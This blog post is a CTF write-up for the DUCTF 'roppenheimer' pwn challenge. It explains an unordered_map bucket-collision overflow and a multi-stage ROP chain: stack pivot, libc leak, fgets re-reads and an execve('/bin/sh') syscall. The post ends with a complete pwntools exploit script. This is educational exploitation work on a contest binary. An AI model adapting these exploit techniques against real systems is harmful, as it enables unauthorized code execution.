Introduction⌗

Down Under CTF (DUCTF) is one of the biggest CTF events in Australia. This year it had a lot of interesting PWN challenges a bit different than what you normally see. Overall, Iam happy with how I preformed, solving 2 medium level pwn challenges, roppenheimer and shifty mem.

My solution to shifty mem will not be discussed in this blog post

Roppenheimer is an insteresting challenge revolving around hashmap collisions. As the name implies, it ends in a ROP chain.

Defines⌗

#define MAX_ATOMS   32
#define MAX_COLLIDE 20
#define NAME_LEN    128

Global data⌗

char username[NAME_LEN + 1];
std::unordered_map<unsigned int, uint64_t> atoms;

When it comes to binary exploitation, the most important thing is understanding the data structure being used. In this case, a standard unordered_map makes up the bulk of out challenge. I found a great tutorial that covers all the basics of unordered_map.

From there, I figured out that elements were placed into buckets according to some hash function. From this, and seeing the use of the bucket function in fire_atoms, I concluded the best option was to go for a hash collision.

fire_atoms⌗

void fire_neutron() {
    unsigned int atom;
    std::cout << "atom> ";
    std::cin >> atom;

    if (atoms.find(atom) == atoms.end()) {
        panic("atom does not exist");
    }

    size_t bucket = atoms.bucket(atom); //get all of the elements from bucket that matches atom
    size_t bucket_size = atoms.bucket_size(bucket);

    std::pair<unsigned int, uint64_t> elems[MAX_COLLIDE - 1]; //elems is of size 19
    copy(atoms.begin(bucket), atoms.end(bucket), elems); //copy all of the atoms into elems
                                                         //there can be up to 32 atoms in a bucket, giving the overflow

    std::cout << "[atoms hit]" << std::endl;
    for (size_t i = 0; i < bucket_size; i++) {
        std::cout << elems->first << std::endl;
    }
}

Finding the collision⌗

Along with the description of the bucket function, the site also gave some example code on how buckets work.

code from tutorial

#include <iostream>
#include <unordered_map>

using namespace std;

int main(void) {
   unordered_map<char, int> um = {
            {'a', 1},
            {'b', 2},
            {'c', 3},
            {'d', 4},
            {'e', 5}
            };

   for (auto it = um.begin(); it != um.end(); ++it) {
      cout << "Element " << "[" << it->first  << " : "
          << it->second << "] " << "is in " 
          << um.bucket(it->first) << " bucket." << endl; 
   }

   return 0;
}

I modified this code slightly so that it matched the types of the atoms array, and then tested it a couple of times until I found a pattern. I then used this observed pattern to find the collisions

Collision code⌗

#include <cstdint>
#include <unordered_map>

using namespace std;

int main(void) {
   unordered_map<unsigned int, uint64_t> um = {
            {1, 0x41},
            {0x1000, 0x41},
            {0x1FFF, 0x41},
            {0x2FFE, 0x41},
            {0x3FFD, 0x41},
            {0x4FFC, 0x41},
            {0x5FFB, 0x41},
            };

   for (auto it = um.begin(); it != um.end(); ++it) {
      cout << "Element " << "[" << it->first  << " : "
          << it->second << "] " << "is in " 
          << um.bucket(it->first) << " bucket." << endl; 
   }

   return 0;
}

This code gave me collisions for the default hash function, but it wasn’t quite the same as the hash function for the challenge binary. However, using the intuition I had gained from testing myself, I was able to figure out the patterns again after just a bit of debugging. instead of the hash rolling over after ever 0xFFF, it rolled over every 0xFE7 times.

I want to note that there are many different ways to find these collisions. This is how I found it!

Initial ROP chain⌗

for i in range(1,28):
    add_atom(1+((i-1)*0xFE7), i)
add_atom(1+((27)*0xFE7), pivot)
add_atom(1+((28)*0xFE7), username)
add_atom(1+((29)*0xFE7), 29)
add_atom(1+((30)*0xFE7), 30)
add_atom(1+((31)*0xFE7), 31)

Too much ROP⌗

I ended up doing a super long and unnecessarily complicated rop chain. In the authors writeup, they simply restart main. I tried to do this, but instead of using main I used the _start function to restart. This did not work for me. In the future I will definitly try some of the easier things first before doing what I did.

Instead, I spent 4 hours devising a ROP chain that I am in retrospect pretty proud of. It does not restart the binary, but instead manipulated with current stack state using repeated calls to fgets.

The start is listed above

pivot = 0x00000000004025de#: pop rax; pop rsp; pop rdi; nop; pop rbp; ret;
username = 0x40a520

the atoms are layed out in such a way that the address for username gets successfully popped in RSP. This in turn pivots the stack to the username section of memory.

Other gadgets⌗

pivot = 0x00000000004025de#: pop rax; pop rsp; pop rdi; nop; pop rbp; ret;
nop = 0x000000000040201a#: ret;
pop_rdi = 0x00000000004025e0#: pop rdi; nop; pop rbp; ret;
pop_rsi = 0x0000000000404944#: pop rsi; pop rbp; ret;
username = 0x40a520
puts_plt = 0x402484
puts_got = 0x40a110
stdin = 0x0040a190
pppr = 0x000000000040404d#: pop r12; pop r13; pop rbp; ret
loads = 0x000000000040453a#: mov rax, qword ptr [rax]; pop rbp; ret;
super_weird = 0x00000000004056d8#: mov rdx, qword ptr [rbp - 0x10]; mov rdx, qword ptr [rdx]; mov qword ptr [rax], rdx; nop; pop rbp; ret;
pivot2 = 0x0000000000404ac7#: pop rsp; pop rbp; ret;
useful = 0x00000000004025de#pop rax; pop rsp; pop rdi; nop; pop rbp; ret;

Phase 1⌗

this was the hardest part of developing the exploit, the username buffer is limited in size, so there is not a lot of space to work with. In addition, the binary will fail if all 0x80 bytes are read. This gives us a total of 15 spaces to work with. I also had to use the first 2 to store pointers to stdin, more on this in a bit, leaving me with effectively 13 instructions.

In these 13 instructions I have 2 goals:

  1. leak a libc address for the final phase
  2. call fgets() to rewrite the username buffer with more instructions

payload 1⌗

payload = p64(stdin)*2 #[]

#step1 leak libc
payload += p64(pop_rdi) #<-username+0x10
payload += p64(puts_got)
payload += p64(0)
payload += p64(puts_plt) 

#step2 setup fgets call
payload += p64(useful) #[1]
payload += p64(username+0x78) #<- username+0x38
payload += p64(username+0x38) #[2]
payload += p64(pop_rsi) #[3]
payload += p64(0x200)
payload += p64(username+0x10) #popped into rbp
payload += p64(super_weird) #[4] magic
payload += p64(0) #filler
payload += p64(exe.plt["fgets"]) #[5] call to fgets
#fgets(username+0x78, 0x200, stdin);

Step 1⌗

Easy enough. Puts is included in the binary gives a common way to leak libc. First you pop the GOT entry tou want to leak into rdi(in this case puts), and then call the plt entry for puts.

Step 2⌗

This is where things get crazy. To help, I have added labels to the rop chain above

[1] This is the same gadget as pivot, but here it is used to load a writable address into RAX, as well as load an address into RDI. RAX must be a valid address for [4] to work correctly

[2] By loading a slightly lower value into RSP than the current one, it is possible to save of the amount of space needed for the stack. In turn, the same value that was written into RAX, username+0x78, is written into RDI. This is the locations for the call to fgets. The next value is popped into rbp, but this does not matter

[3] pop 0x200 into RSI, this will be the length of the fgets call. 0x200 gives us plenty of space to work with. The important part of this is what is popped into RBP. This is the Value of username+0x10, which plays a role in [4]

[4] This is the strangest part of the ROP chain, the full instruction is:

mov rdx, qword ptr [rbp - 0x10]; //[4a]
mov rdx, qword ptr [rdx];
mov qword ptr [rax], rdx; //[4b]
nop;
pop rbp;
ret;

[4a] By previously setting the RBP register to username+0x10, the first mov instruction moves the location of stdin in the binary into rdx. This location contains the libc address of stdin. Libc is still not availible at this point, making this step necessary. The next mov instruction derefrences the value in RDX, this results in the libc address of stdin being in the RDX register.

[4b] What comes next is inconsiquential, but the reason why RAX needs to be a valid writable address is this instruction

[5] Final call to fgets overwriting the current stack ptr so the ROP can continue

Phase 2⌗

Unfortunetly, Due to the structure of the binarym the first call to fgets is not good enough to send the final payload. This is because of the way that the atom being fired by the binary is read.

unsigned int atom;
std::cout << "atom> ";
std::cin >> atom;

The result is that, if just a number is sent on the read, the trailing newline will be taken as the input for the fgets call. This means, that when the response to this input call is sent, I had to also send what would be sent by the call to fgets.

The payload I sent is pretty much the same thing, all it does is call fgets again and then pivot to the new stack I create. This time, I had more space to work with, so I didn’t have to worry about gadget restrictions. This makes things a lot easier

payload2 = p64(useful)
payload2 += p64(username+0x100) #RAX
payload2 += p64(username+0x90) #RSP (same value as before popping the address)
payload2 += p64(username+0x200) #RDI
payload2 += p64(0) #RBP 
payload2 += p64(pop_rsi) 
payload2 += p64(0x60) #length of final payload
payload2 += p64(username+0x130) #RBP, gets stdin
payload2 += p64(super_weird) #same as step [4] from phase 2
payload2 += p64(0) #RBP
payload2 += p64(exe.plt["fgets"]) #fgets(username+0x200, 0x60, stdin);
payload2 += p64(pivot) #pivot stack to the new one Written by the fgets call
payload2 += p64(0)
payload2 += p64(username+0x1f0)
payload2 += p64(0)
payload2 += p64(stdin) * 0x20

fire_nuetron(1, payload2)

and the code for fire_nuetron

def fire_nuetron(index, payload):
    sla(b'choice> ', b'2')
    sla(b'atom> ', b'1'+payload)

As you can see, the ROP chain is almost identical to the previous one, accept that it pivots the stack at the end.

Phase 3⌗

In the final section, I have full access to LIBC gadgets, as well as a chain of arbitrary length. With these two things, I can do effectively anything. I chose to do build and execute a execve system call. This is one of my favorite things to do when I have the room to do it, as it works everytime.

Final ROP chain⌗

pop_rdi_libc = 0x000000000002a3e5#: pop rdi; ret;
pop_rsi_libc = 0x000000000002be51#: pop rsi; ret;
pop_rdx = 0x000000000011f497#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0#: pop rax; ret;
syscall = 0x0000000000091396#: syscall; ret;

payload = p64(pop_rdi_libc+libc.address)
payload += p64(username+0x250) #address of /bin/sh
payload += p64(pop_rsi_libc + libc.address)
payload += p64(0)
payload += p64(pop_rdx + libc.address)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax + libc.address)
payload += p64(0x3b)
payload += p64(syscall + libc.address) #syscall(0x3b, "/bin/sh", 0, 0);
payload += b'/bin/sh\x00'

r.sendline(payload)
r.sendline(b'cat flag.txt')

And that’s all there is! Once this has been sent, a shell is spawned and the flag is caught

Flag⌗

DUCTF{wH0_KnEw_Th4T_HAsHm4ps_4nD_nUCle4r_Fi5S10n_HAd_s0meTHiNg_1n_c0MmoN}

Conclusion⌗

I learned a lot of useful things from this challenge. First, and most important, is to always check for easier solutions before commiting for to the hardway. I could’ve saved a lot of time by simply restarting main. Second, There are sometimes to load values into registers besides popping. In this challenge I was able to do this with RDX, and it is something I can see helping me in the future. Third, testing locally by building my own binary files was really helpful. By doing so, I figured out how to trigger collisions super quickly. I would have definitly spent more time in a debugger.

I had a really go time with all the challenges I tried, and am looking forward to playing again next year!!

Final Exploit⌗

#!/usr/bin/env python3

from pwn import *

exe = ELF("roppenheimer_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.35.so")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("2023.ductf.dev", 30012)

    return r

r = conn()

sla = lambda a,b : r.sendlineafter(a,b)
sl = lambda a : r.sendline(a)
ru = lambda a : r.recvline(a)
to_bytes = lambda a : f'{a}'.encode('utf-8')

pivot = 0x00000000004025de#: pop rax; pop rsp; pop rdi; nop; pop rbp; ret;
nop = 0x000000000040201a#: ret;
pop_rdi = 0x00000000004025e0#: pop rdi; nop; pop rbp; ret;
pop_rsi = 0x0000000000404944#: pop rsi; pop rbp; ret;
username = 0x40a520
puts_plt = 0x402484
puts_got = 0x40a110
stdin = 0x0040a190
pppr = 0x000000000040404d#: pop r12; pop r13; pop rbp; ret
loads = 0x000000000040453a#: mov rax, qword ptr [rax]; pop rbp; ret;
super_weird = 0x00000000004056d8#: mov rdx, qword ptr [rbp - 0x10]; mov rdx, qword ptr [rdx]; mov qword ptr [rax], rdx; nop; pop rbp; ret;
pivot2 = 0x0000000000404ac7#: pop rsp; pop rbp; ret;

useful = 0x00000000004025de#pop rax; pop rsp; pop rdi; nop; pop rbp; ret;

def add_atom(index, data):
    sla(b'choice> ', to_bytes(1))
    log.info(f'sending atom {hex(index)}')
    sla(b'atom> ', to_bytes(index))
    sla(b'data> ', to_bytes(data))

def fire_nuetron(index, payload):
    sla(b'choice> ', b'2')
    sla(b'atom> ', b'1'+payload)


def pwn(payload):

    ru(b'name> ')
    log.info(f"length of payload {hex(len(payload))}")
    r.sendline(payload)

    for i in range(1,28):
        add_atom(1+((i-1)*0xFE7), i)
    add_atom(1+((27)*0xFE7), pivot)
    add_atom(1+((28)*0xFE7), username)
    add_atom(1+((29)*0xFE7), 29)
    add_atom(1+((30)*0xFE7), 30)
    add_atom(1+((31)*0xFE7), 31)

    payload2 = p64(useful)
    payload2 += p64(username+0x100)
    payload2 += p64(username+0x90)
    payload2 += p64(username+0x200)
    payload2 += p64(username+0x110)
    payload2 += p64(pop_rsi)
    payload2 += p64(0x60)
    payload2 += p64(username+0x130)
    payload2 += p64(super_weird)
    payload2 += p64(0)
    payload2 += p64(exe.plt["fgets"])
    payload2 += p64(pivot)
    payload2 += p64(0)
    payload2 += p64(username+0x1f0)
    payload2 += p64(0)
    payload2 += p64(stdin) * 0x20

    fire_nuetron(1, payload2)


def main():
    payload = p64(stdin)*2
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(0)
    payload += p64(puts_plt)
    payload += p64(useful)
    payload += p64(username+0x78)
    payload += p64(username+0x38)
    payload += p64(pop_rsi)
    payload += p64(0x200)
    payload += p64(username+0x10)
    payload += p64(super_weird)
    payload += p64(0)
    payload += p64(exe.plt["fgets"])
    pwn(payload)

    for i in range(26):
        r.recvline()

    leak = u64(r.recv(6)+b'\x00\x00')
    log.info(f"leaked address: {hex(leak)}")
    libc.address = leak - libc.symbols["puts"]
    log.info(f"libc address: {hex(libc.address)}")

    pop_rdi_libc = 0x000000000002a3e5#: pop rdi; ret;
    pop_rsi_libc = 0x000000000002be51#: pop rsi; ret;
    pop_rdx = 0x000000000011f497#: pop rdx; pop r12; ret;
    pop_rax = 0x0000000000045eb0#: pop rax; ret;
    syscall = 0x0000000000091396#: syscall; ret;

    payload = p64(pop_rdi_libc+libc.address)
    payload += p64(username+0x250)
    payload += p64(pop_rsi_libc + libc.address)
    payload += p64(0)
    payload += p64(pop_rdx + libc.address)
    payload += p64(0)
    payload += p64(0)
    payload += p64(pop_rax + libc.address)
    payload += p64(0x3b)
    payload += p64(syscall + libc.address)
    payload += b'/bin/sh\x00'

    r.sendline(payload)
    r.interactive()



if __name__ == "__main__":
    main()